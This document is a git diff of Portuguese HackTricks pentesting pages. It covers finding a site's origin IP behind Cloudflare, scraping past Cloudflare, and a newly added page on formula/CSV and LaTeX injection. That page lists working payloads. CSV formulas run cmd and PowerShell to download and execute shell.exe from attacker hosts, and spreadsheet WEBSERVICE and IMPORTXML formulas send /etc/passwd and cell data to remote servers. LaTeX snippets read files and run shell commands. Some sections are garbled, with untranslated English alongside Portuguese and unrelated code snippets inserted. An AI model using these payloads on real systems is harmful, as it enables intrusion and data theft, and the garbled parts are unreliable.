* Verifique também **registros DNS de outros subdomínios apontando diretamente para IPs**, pois é possível que outros subdomínios estejam apontando para o mesmo servidor (talvez para oferecer FTP, e-mail ou qualquer outro serviço).
|
||||
* Você também pode usar algum serviço que forneça os **registros históricos de DNS** do domínio. Talvez a página da web esteja sendo executada em um endereço IP usado anteriormente.
|
||||
* O mesmo pode ser alcançado **verificando os certificados SSL históricos** que podem estar apontando para o endereço IP de origem.
|
||||
* Verifique também os **registros DNS de outros subdomínios que apontam diretamente para IPs**, pois é possível que outros subdomínios estejam apontando para o mesmo servidor (talvez para oferecer FTP, e-mail ou qualquer outro serviço).
|
||||
* Se você encontrar um **SSRF dentro da aplicação web**, pode abusar dele para obter o endereço IP do servidor.
|
||||
*
|
||||
|
||||
Procure uma string única da página da web em navegadores como shodan (e talvez google e similares?). Talvez você possa encontrar um endereço IP com esse conteúdo.
|
||||
Procure uma string única da página da web em navegadores como shodan (e talvez google e similares?). Talvez você possa encontrar um endereço IP com esse conteúdo.
|
||||
|
||||
* De maneira semelhante, em vez de procurar uma string exclusiva, você pode procurar pelo ícone favicon com a ferramenta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ou com [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
|
||||
* Isso não funcionará com muita frequência porque o servidor deve enviar a mesma resposta quando é acessado pelo endereço IP, mas você nunca sabe.
|
||||
* De maneira semelhante, em vez de procurar uma string única, você pode procurar pelo ícone do favicon com a ferramenta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ou com [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
|
||||
* Isso não funcionará com muita frequência porque o servidor deve enviar a mesma resposta quando acessado pelo endereço IP, mas nunca se sabe.
|
||||
|
||||
### Ferramentas
|
||||
|
||||
* Procure o domínio em [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ou [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ou use a ferramenta [CloudPeler](https://github.com/zidansec/CloudPeler) (que usa essa API)
|
||||
* Procure o domínio em [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
|
||||
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) é uma ferramenta que procurará usando certificados Censys que contenham o nome de domínio, em seguida, procurará por IPv4s dentro desses certificados e, finalmente, tentará acessar a página da web nesses IPs.
|
||||
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) é uma ferramenta que pesquisará usando certificados Censys que contenham o nome de domínio, em seguida, procurará por IPv4s dentro desses certificados e, finalmente, tentará acessar a página da web nesses IPs.
|
||||
* [Censys](https://search.censys.io/)
|
||||
* [Shodan](https://shodan.io/)
|
||||
* [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
|
||||
* Se você tiver um conjunto de IPs potenciais onde a página da web está localizada, poderá usar [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
|
||||
* Se você tiver um conjunto de IPs potenciais onde a página da web está localizada, você pode usar [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
|
||||
```bash
|
||||
# You can check if the tool is working with
|
||||
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
|
||||
|
@ -44,14 +44,14 @@ prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
|
|||
## web page inside the EC2 IPs
|
||||
DOMAIN=something.com
|
||||
WIDE_REGION=us
|
||||
for ir in `curl https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | select(.region|test("^us")) | .ip_prefix'`; do
|
||||
echo "Checking $ir"
|
||||
prips $ir | hakoriginfinder -h "$DOMAIN"
|
||||
for ir in `curl https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | select(.region|test("^us")) | .ip_prefix'`; do
|
||||
echo "Checking $ir"
|
||||
prips $ir | hakoriginfinder -h "$DOMAIN"
|
||||
done
|
||||
```
|
||||
### Descobrindo o Cloudflare a partir de máquinas AWS
|
||||
|
||||
Para uma descrição mais detalhada deste processo, consulte:
|
||||
Para uma descrição mais detalhada desse processo, consulte:
|
||||
|
||||
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
```bash
|
||||
|
@ -67,14 +67,34 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
|
|||
# Search via Host header
|
||||
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
|
||||
```
|
||||
## Bypassar o Cloudflare para fazer scraping
|
||||
## Bypassando o Cloudflare através do Cloudflare
|
||||
|
||||
### Autenticação de Origem Autorizada
|
||||
|
||||
Esse mecanismo depende de **certificados SSL do cliente** para autenticar as conexões entre os servidores de proxy reverso do Cloudflare e o servidor de origem, o que é chamado de **mTLS**.
|
||||
|
||||
Em vez de configurar seu próprio certificado, o cliente pode simplesmente usar o certificado do Cloudflare para permitir qualquer conexão do Cloudflare, **independentemente do locatário**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Portanto, um atacante pode simplesmente definir um **domínio no Cloudflare usando o certificado do Cloudflare e apontá-lo** para o endereço IP do domínio da **vítima**. Dessa forma, definindo seu domínio completamente desprotegido, o Cloudflare não protegerá as solicitações enviadas.
|
||||
{% endhint %}
|
||||
|
||||
Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
|
||||
|
||||
### Lista de Permissões de Endereços IP do Cloudflare
|
||||
|
||||
Isso irá **rejeitar conexões que não se originam dos** intervalos de endereços IP do **Cloudflare**. Isso também é vulnerável à configuração anterior, onde um atacante simplesmente **aponta seu próprio domínio no Cloudflare** para o endereço IP da **vítima** e a ataca.
|
||||
|
||||
Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
|
||||
|
||||
## Bypass do Cloudflare para scraping
|
||||
|
||||
### Cache
|
||||
|
||||
Às vezes, você só quer ignorar o Cloudflare para fazer scraping da página da web. Existem algumas opções para isso:
|
||||
Às vezes, você só quer ignorar o Cloudflare para fazer o scraping da página da web. Existem algumas opções para isso:
|
||||
|
||||
* Use o cache do Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
|
||||
* Use outros serviços de cache, como [https://archive.org/web/](https://archive.org/web/)
|
||||
* Usar o cache do Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
|
||||
* Usar outros serviços de cache, como [https://archive.org/web/](https://archive.org/web/)
|
||||
|
||||
### Solucionadores do Cloudflare
|
||||
|
||||
|
@ -85,34 +105,34 @@ Foram desenvolvidos vários solucionadores do Cloudflare:
|
|||
* [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape)
|
||||
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
|
||||
* [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver)
|
||||
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arquivado\]
|
||||
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arquivado]
|
||||
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
|
||||
|
||||
### Navegadores Headless Fortificados <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
|
||||
### Navegadores Headless Reforçados <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
|
||||
|
||||
A outra opção é fazer todo o trabalho de scraping com um navegador headless que foi fortificado para parecer um navegador de usuário real:
|
||||
A outra opção é fazer todo o trabalho de scraping com um navegador headless que foi reforçado para se parecer com um navegador de usuário real:
|
||||
|
||||
* **Puppeteer:** O [plugin stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) para [puppeteer](https://github.com/puppeteer/puppeteer).
|
||||
* **Playwright:** O [plugin stealth](https://www.npmjs.com/package/playwright-stealth) está chegando em breve ao Playwright. Acompanhe os desenvolvimentos [aqui](https://github.com/berstend/puppeteer-extra/issues/454) e [aqui](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
|
||||
* **Selenium:** O [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) é um patch otimizado do Selenium Chromedriver.
|
||||
* **Playwright:** O [plugin stealth](https://www.npmjs.com/package/playwright-stealth) está chegando em breve para o Playwright. Acompanhe os desenvolvimentos [aqui](https://github.com/berstend/puppeteer-extra/issues/454) e [aqui](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
|
||||
* **Selenium:** O [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver), um patch otimizado do Selenium Chromedriver.
|
||||
|
||||
### Smart Proxy com Bypass Integrado do Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
|
||||
### Proxy Inteligente com Bypass Integrado do Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
|
||||
|
||||
A alternativa ao uso de bypasses do Cloudflare de código aberto é usar proxies inteligentes que desenvolvem e mantêm seus próprios bypasses privados do Cloudflare.
|
||||
|
||||
Esses são tipicamente mais confiáveis, pois é mais difícil para o Cloudflare desenvolver patches para eles, e eles são desenvolvidos por empresas de proxy que são financeiramente motivadas a ficar um passo à frente do Cloudflare e corrigir seus bypasses no momento em que eles param de funcionar.
|
||||
Esses proxies geralmente são mais confiáveis, pois é mais difícil para o Cloudflare desenvolver correções para eles, e são desenvolvidos por empresas de proxy que têm motivação financeira para ficar um passo à frente do Cloudflare e corrigir seus bypasses assim que pararem de funcionar.
|
||||
|
||||
A maioria dos provedores de proxy inteligentes ([ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops), [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops), [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32), [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)) têm algum tipo de bypass do Cloudflare que funciona em graus variados e varia em custo.
|
||||
A maioria dos provedores de proxy inteligentes ([ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops), [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops), [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32), [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)) possuem algum tipo de bypass do Cloudflare que funcionam em diferentes graus e variam em custo.
|
||||
|
||||
No entanto, uma das melhores opções é usar o [Agregador de Proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/), pois ele integra mais de 20 provedores de proxy na mesma API de proxy e encontra o provedor de proxy melhor e mais barato para seus domínios de destino.
|
||||
No entanto, uma das melhores opções é usar o [Agregador de Proxy do ScrapeOps](https://scrapeops.io/proxy-aggregator/), pois ele integra mais de 20 provedores de proxy na mesma API de proxy e encontra o provedor de proxy melhor/mais barato para seus domínios de destino.
|
||||
|
||||
### Engenharia Reversa da Proteção Anti-Bot do Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
|
||||
|
||||
Esta abordagem funciona (e é o que muitas soluções de proxy inteligentes fazem), no entanto, não é para os fracos de coração.
|
||||
Essa abordagem funciona (e é o que muitas soluções de proxy inteligentes fazem), no entanto, não é para os fracos de coração.
|
||||
|
||||
**Vantagens:** A vantagem desta abordagem é que, se você estiver fazendo scraping em grande escala e não quiser executar centenas (se não milhares) de instâncias caras de navegadores headless, poderá desenvolver o bypass do Cloudflare mais eficiente em termos de recursos possível. Um que é projetado exclusivamente para passar nos testes de impressão digital JS, TLS e IP do Cloudflare.
|
||||
**Vantagens:** A vantagem dessa abordagem é que, se você estiver fazendo scraping em grande escala e não quiser executar centenas (se não milhares) de instâncias caras de navegadores completos sem cabeça, você pode desenvolver o bypass do Cloudflare mais eficiente em termos de recursos possível. Um que seja projetado exclusivamente para passar nos testes de impressão digital do Cloudflare JS, TLS e IP.
|
||||
|
||||
**Desvantagens:** As desvantagens desta abordagem são que você terá que mergulhar profundamente em um sistema anti-bot que foi feito de propósito para ser difícil de entender do lado de fora e testar diferentes técnicas para enganar seu sistema de verificação. Em seguida, mantenha este sistema à medida que o Cloudflare continua a desenvolver sua proteção anti-bot.
|
||||
**Desvantagens:** As desvantagens dessa abordagem são que você terá que mergulhar fundo em um sistema anti-bot que foi propositalmente difícil de entender do lado de fora e testar diferentes técnicas para enganar seu sistema de verificação. Em seguida, manter esse sistema à medida que o Cloudflare continua a desenvolver sua proteção anti-bot.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -122,10 +142,8 @@ Esta abordagem funciona (e é o que muitas soluções de proxy inteligentes faze
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga** me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
263
pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
Normal file
263
pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
Normal file
|
@ -0,0 +1,263 @@
|
|||
# Injeção de Fórmula/CSV/Doc/LaTeX/GhostScript
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Injeção de Fórmula
|
||||
|
||||
### Informações
|
||||
|
||||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de colocar **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado à carga útil final.
|
||||
{% endhint %}
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
```
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+9)*cmd|' /C calc'!A0
|
||||
=10+20+cmd|' /C calc'!A0
|
||||
=cmd|' /C notepad'!'A1'
|
||||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||||
```
|
||||
### Hiperlink
|
||||
|
||||
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha final do Excel e realizar solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
|
||||
|
||||
Exemplo retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Vamos supor um cenário de ataque ao sistema de Gerenciamento de Registros de Alunos de uma escola. O aplicativo permite que o professor insira os detalhes dos alunos na escola. O atacante obtém acesso ao aplicativo e deseja comprometer todos os professores que usam o aplicativo. Portanto, o atacante tenta realizar um ataque de injeção de CSV por meio do aplicativo da web.\
|
||||
O atacante precisa roubar os detalhes de outros alunos. Portanto, o atacante usa a fórmula de Hiperlink e a insere ao inserir os detalhes do aluno.
|
||||
|
||||

|
||||
|
||||
Quando o professor exporta o CSV e clica no hiperlink, os dados sensíveis são enviados para o servidor do atacante.
|
||||
|
||||

|
||||
|
||||
O arquivo CSV exportado contém uma carga maliciosa nele.
|
||||
|
||||

|
||||
|
||||
Os detalhes do aluno são registrados no servidor da web do atacante.
|
||||
|
||||

|
||||
|
||||
### RCE
|
||||
|
||||
Para que este exemplo funcione, é **necessário ter habilitada a seguinte configuração**:\
|
||||
Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo → Habilitar Inicialização do Servidor de Troca Dinâmica de Dados\
|
||||
ou o uso de uma **versão antiga do Excel**.
|
||||
|
||||
A boa notícia é que **essa carga é executada automaticamente quando o arquivo é aberto** (se o usuário aceitar os avisos).
|
||||
|
||||
É possível executar uma calculadora com a seguinte carga **`=cmd|' /C calc'!xxx`**
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
### LFI
|
||||
|
||||
**LibreOffice Calc**
|
||||
|
||||
* Isso irá ler a primeira linha do arquivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1`
|
||||
* Exfiltrar isso: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Exfiltrar mais de uma linha: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Exfiltração DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
|
||||
**Analisando a carga útil de exfiltração DNS:**
|
||||
|
||||
* ‘file:///etc/passwd’#$passwd.A19 - Irá ler a 19ª linha do arquivo local /etc/passwd
|
||||
* ENCODEURL('file:///etc/passwd'#$passwd.A19) - Codifica a URL dos dados retornados
|
||||
* MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41) - Similar a substring, lê dados do 1º caractere ao 41º - uma maneira muito útil de restringir o comprimento dos nomes de host DNS (limite de 254 caracteres para FQDN e 63 caracteres para um rótulo, ou seja, subdomínio)
|
||||
* SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-") - substitui todas as ocorrências de % (o caractere especial da codificação de URL) por traço - isso garante que apenas caracteres DNS válidos sejam usados
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".\<FQDN>") - Concatena a saída do arquivo (após o processamento acima) com o FQDN (para o qual temos acesso ao host que é autoritativo para o domínio)
|
||||
* WEBSERVICE - Faz uma solicitação para esse nome DNS inexistente, que podemos então analisar os logs (ou executar tcpdump etc.) no servidor de nomes autoritativo DNS, no qual temos controle
|
||||
|
||||
### Google Sheets OOB Data Exfiltration
|
||||
|
||||
Primeiramente, vamos apresentar algumas das funções mais interessantes.
|
||||
|
||||
**CONCATENATE**: Anexa strings uma à outra.
|
||||
```
|
||||
=CONCATENATE(A2:E2)
|
||||
```
|
||||
**IMPORTXML**: Importa dados de vários tipos de dados estruturados, incluindo XML, HTML, CSV, TSV e feeds XML RSS e ATOM.
|
||||
```
|
||||
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
|
||||
```
|
||||
**IMPORTFEED**: Importa um feed RSS ou ATOM.
|
||||
```
|
||||
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
|
||||
```
|
||||
**IMPORTHTML**: Importa dados de uma tabela ou lista dentro de uma página HTML.
|
||||
```
|
||||
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
|
||||
```
|
||||
**IMPORTRANGE**: Importa um intervalo de células de uma planilha especificada.
|
||||
```
|
||||
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
|
||||
```
|
||||
**IMAGEM**: Insere uma imagem em uma célula.
|
||||
```
|
||||
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
|
||||
```
|
||||
## Injeção de LaTeX
|
||||
|
||||
Normalmente, os servidores que encontramos na internet que **convertem código LaTeX em PDF** usam o **`pdflatex`**.\
|
||||
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
|
||||
|
||||
* **`--no-shell-escape`**: **Desabilita** a construção `\write18{command}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
||||
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de \*\*comandos predefinidos (\*\*No Ubuntu 16.04, a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Habilita** a construção `\write18{command}`. O comando pode ser qualquer comando de shell. Essa construção é normalmente desabilitada por motivos de segurança.
|
||||
|
||||
No entanto, existem outras maneiras de executar comandos, então, para evitar RCE, é muito importante usar `--shell-restricted`.
|
||||
|
||||
### Ler arquivo <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Você pode precisar ajustar a injeção com envoltórios como \[ ou $.
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
||||
\usepackage{verbatim}
|
||||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
#### Ler arquivo de uma única linha
|
||||
|
||||
To read a single-lined file, you can use the following command:
|
||||
|
||||
Para ler um arquivo de uma única linha, você pode usar o seguinte comando:
|
||||
|
||||
```bash
|
||||
cat file.txt
|
||||
```
|
||||
|
||||
This command will display the contents of the file on the terminal.
|
||||
|
||||
Esse comando exibirá o conteúdo do arquivo no terminal.
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/issue
|
||||
\read\file to\line
|
||||
\text{\line}
|
||||
\closein\file
|
||||
```
|
||||
#### Ler arquivo com várias linhas
|
||||
|
||||
To read a file with multiple lines, you can use the following code:
|
||||
|
||||
```python
|
||||
with open('filename.txt', 'r') as file:
|
||||
lines = file.readlines()
|
||||
for line in lines:
|
||||
print(line.strip())
|
||||
```
|
||||
|
||||
This code opens the file `filename.txt` in read mode (`'r'`) and uses the `readlines()` method to read all the lines in the file. It then iterates over each line and prints it after removing any leading or trailing whitespace using the `strip()` method.
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
\loop\unless\ifeof\file
|
||||
\read\file to\fileline
|
||||
\text{\fileline}
|
||||
\repeat
|
||||
\closein\file
|
||||
```
|
||||
### Escrever arquivo <a href="#escrever-arquivo" id="escrever-arquivo"></a>
|
||||
```bash
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
\write\outfile{Hello-world}
|
||||
\closeout\outfile
|
||||
```
|
||||
### Execução de comandos <a href="#execução-de-comandos" id="execução-de-comandos"></a>
|
||||
|
||||
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-la.
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
||||
\input{|"/bin/hostname"}
|
||||
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
||||
|
||||
# allowed mpost command RCE
|
||||
\documentclass{article}\begin{document}
|
||||
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
||||
\end{document}
|
||||
|
||||
# If mpost is not allowed there are other commands you might be able to execute
|
||||
## Just get the version
|
||||
\input{|"bibtex8 --version > /tmp/b.tex"}
|
||||
## Search the file pdfetex.ini
|
||||
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
||||
## Get env var value
|
||||
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
||||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
Se você receber algum erro do LaTex, considere usar base64 para obter o resultado sem caracteres inválidos.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
```
|
||||
|
||||
```bash
|
||||
\input|ls|base4
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
```
|
||||
## Injeção de Ghostscript
|
||||
|
||||
